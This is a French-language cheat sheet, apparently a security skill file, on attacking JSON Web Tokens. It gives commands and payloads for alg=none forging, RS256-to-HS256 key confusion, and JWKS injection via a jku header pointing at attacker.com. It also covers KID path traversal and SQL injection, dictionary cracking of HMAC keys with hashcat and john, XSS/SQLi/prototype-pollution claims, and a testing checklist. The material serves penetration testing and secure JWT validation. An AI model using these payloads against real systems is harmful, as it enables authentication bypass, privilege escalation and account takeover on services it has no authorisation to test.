| name | jwt-attacks-guide |
| description | Guide complet d'attaque sur JWT — algorithm confusion, none attack, key泄漏, timing attacks, JWKS injection, KID injection |
| category | cybersecurite |
JWT Attacks — Guide Avancé
Comprendre JWT
Un JWT (JSON Web Token) se compose de 3 parties encodées en Base64url: header.payload.signature
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.MIq3fQ==
Header Types
{"alg": "HS256", "typ": "JWT"}
{"alg": "RS256", "typ": "JWT"}
{"alg": "ES256", "typ": "JWT"}
{"alg": "EdDSA", "typ": "JWT"}
{"alg": "none", "typ": "JWT"}
Outils Essentiels
| Outil | Description |
|---|
| jwt_tool | Audit complet JWT |
| jwt-cracker | Bruteforce de clés symétriques |
| john (JWT mode) | Crack de clés JWT |
| hashcat (mode 16500) | Crack HMAC-SHA256 JWT |
| Python PyJWT / jwcrypto | Manipulation JWT |
| jwt.io | Debugger en ligne |
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
python jwt_tool.py <token>
git clone https://github.com/brendan-rius/c-jwt-cracker
hashcat -m 16500 jwt.txt rockyou.txt
Attaque 1: Algorithm Confusion
none Algorithm (alg=none)
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0
echo -n '{"sub":"admin","iat":1516239022}' | base64 -w0
RS256 → HS256 (Key Confusion)
jwt_tool.py <token> -X a -jwks pubkey.pem
Attaque 2: JWKS Injection
openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json","kid":"attacker-key-id"}
jwt_tool.py <token> -X s -pr attacker.key -jwks attacker.pub
Attaque 3: KID Injection
Le header kid (Key ID) est souvent utilisé pour trouver la clé.
KID Path Traversal
{"alg":"HS256","typ":"JWT","kid":"../../etc/passwd"}
KID SQL Injection
{"alg":"HS256","typ":"JWT","kid":"keys WHERE 1=1 UNION SELECT 'aaaa'"}
KID Null Byte
{"alg":"HS256","typ":"JWT","kid":"/dev/null"}
Attaque 4: Crack de Clé Symétrique
jwt_tool.py eyJ...<token> -C -d rockyou.txt
hashcat -m 16500 jwt.txt rockyou.txt
john jwt.txt --wordlist=rockyou.txt
jwt-cracker "<token>" "abcdefghijklmnopqrstuvwxyz" 8
Attaque 5: Signature Non Vérifiée
echo -n '<payload>' | base64 -d
echo -n '{"sub":"admin","role":"admin"}' | base64 -w0
Attaque 6: JWT Empty Signature
// eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.W10
Attaque 7: Timing Attack
time curl -H "Authorization: Bearer <token>" https://api.target.com/admin
Attaque 8: Réutilisation / Non-Validation
JWT dans l'URL (Logging)
GET /api/v1/users?token=eyJ... HTTP/1.1
Referer: https://target.com/?token=eyJ...
JWT dans les WebSocket
JWT Non-révocation
curl -H "Authorization: Bearer <expired_token>" https://api.target.com/admin
Attaque 9: Injection via Claims
{"sub":"admin","name":"<script>alert(1)</script>"}
{"sub":"admin' OR 1=1--"}
{"__proto__": {"admin": true}}
Attaque 10: Exploitation du JWKS
cat jwks.json
{
"keys": [{
"kty": "RSA",
"use": "sig",
"kid": "exploit",
"n": "0vx7agoebGcQSuuPiLJXZpt...",
"e": "AQAB"
}]
}
jwt_tool.py <token> -X s -jwks jwks.json -pr key.pem
Attaque 11: Token Swap (Cross-Service)
Checklist JWT
- Vérifier alg=none accepté
- Tester algorithm confusion (RS→HS)
- Brute-force clé HMAC (dictionnaire)
- KID path traversal
- KID injection SQL
- JWKS injection (jku)
- Token non vérifié (signature ignorée)
- Token expiré accepté
- Token après logout
- Token après password change
- Claims non filtrées (XSS, SQLi)
- Timing attack
- JWK embedded dans le header (jwk)
- Aud/iss validation manquante
- Token dans URL/logs
- Empty signature
- Prototype pollution via proto
Ressources